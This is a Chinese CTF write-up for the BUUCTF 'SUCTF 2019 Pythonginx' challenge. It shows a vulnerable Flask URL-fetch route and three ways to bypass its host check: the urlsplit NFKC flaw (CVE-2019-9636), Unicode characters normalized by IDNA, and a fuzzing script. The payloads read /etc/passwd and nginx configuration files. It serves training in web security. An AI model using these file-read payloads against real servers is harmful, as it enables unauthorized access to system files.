BUUCTF[SUCTF 2019]Pythonginx 1
考点:
1.nginx重要文件的位置
2.
(1).CVE-2019-9636:urlsplit不处理NFKC标准化
(2).url中的unicode漏洞引发的域名安全问题
(3).python脚本
nginx重要文件的位置:
配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf
进入靶场:
@app.route('/getUrl', methods=['GET', 'POST']) def getUrl(): url = request.args.get("url") host = parse.urlparse(url).hostname if host == 'suctf.cc': return "我扌 your problem? 111" parts = list(urlsplit(url)) host = parts[1] if host == 'suctf.cc': return "我扌 your problem? 222 " + host newhost = [] for h in host.split('.'): newhost.append(h.encode('idna').decode('utf-8')) parts[1] = '.'.join(newhost) #去掉 url 中的空格 finalUrl = urlunsplit(parts).split(' ')[0] host = parse.urlparse(finalUrl).hostname if host == 'suctf.cc': return urllib.request.urlopen(finalUrl).read() else: return "我扌 your problem? 333"
查看代码。去/getUrl这个路由中,host接受url传过来的值,然后对host的值进行判断。
方法一:利用了urlsplit不处理NFKC标准化
/getUrl?url=file:////suctf.cc/etc/passwd
查看nginx的配置文件目录:
/getUrl?url=file:////usr/local/nginx/conf/nginx.conf
查看ffffflag文件
方法二:unicode漏洞引发的域名安全问题
在这就是℆在经过下面的代码被解释为c/u。
for h in host.split('.'): newhost.append(h.encode('idna').decode('utf-8'))
当然其他的符号也可以: 例:用ℂ替换c
payload:
/getUrl?url=file://suctf.c℆sr/local/nginx/conf/nginx.conf
或
/getUrl?url=file://suctf.cℂ/usr/local/nginx/conf/nginx.conf
得到flag
方法三:
用python脚本(大佬的WP)
from urllib.parse import urlparse,urlunsplit,urlsplit from urllib import parse def get_unicode(): for x in range(65536): uni=chr(x) url="http://suctf.c{}".format(uni) try: if getUrl(url): print("str: "+uni+' unicode: \\u'+str(hex(x))[2:]) except: pass def getUrl(url): url = url host = parse.urlparse(url).hostname if host == 'suctf.cc': return False parts = list(urlsplit(url)) host = parts[1] if host == 'suctf.cc': return False newhost = [] for h in host.split('.'): newhost.append(h.encode('idna').decode('utf-8')) parts[1] = '.'.join(newhost) finalUrl = urlunsplit(parts).split(' ')[0] host = parse.urlparse(finalUrl).hostname if host == 'suctf.cc': return True else: return False if __name__=="__main__": get_unicode()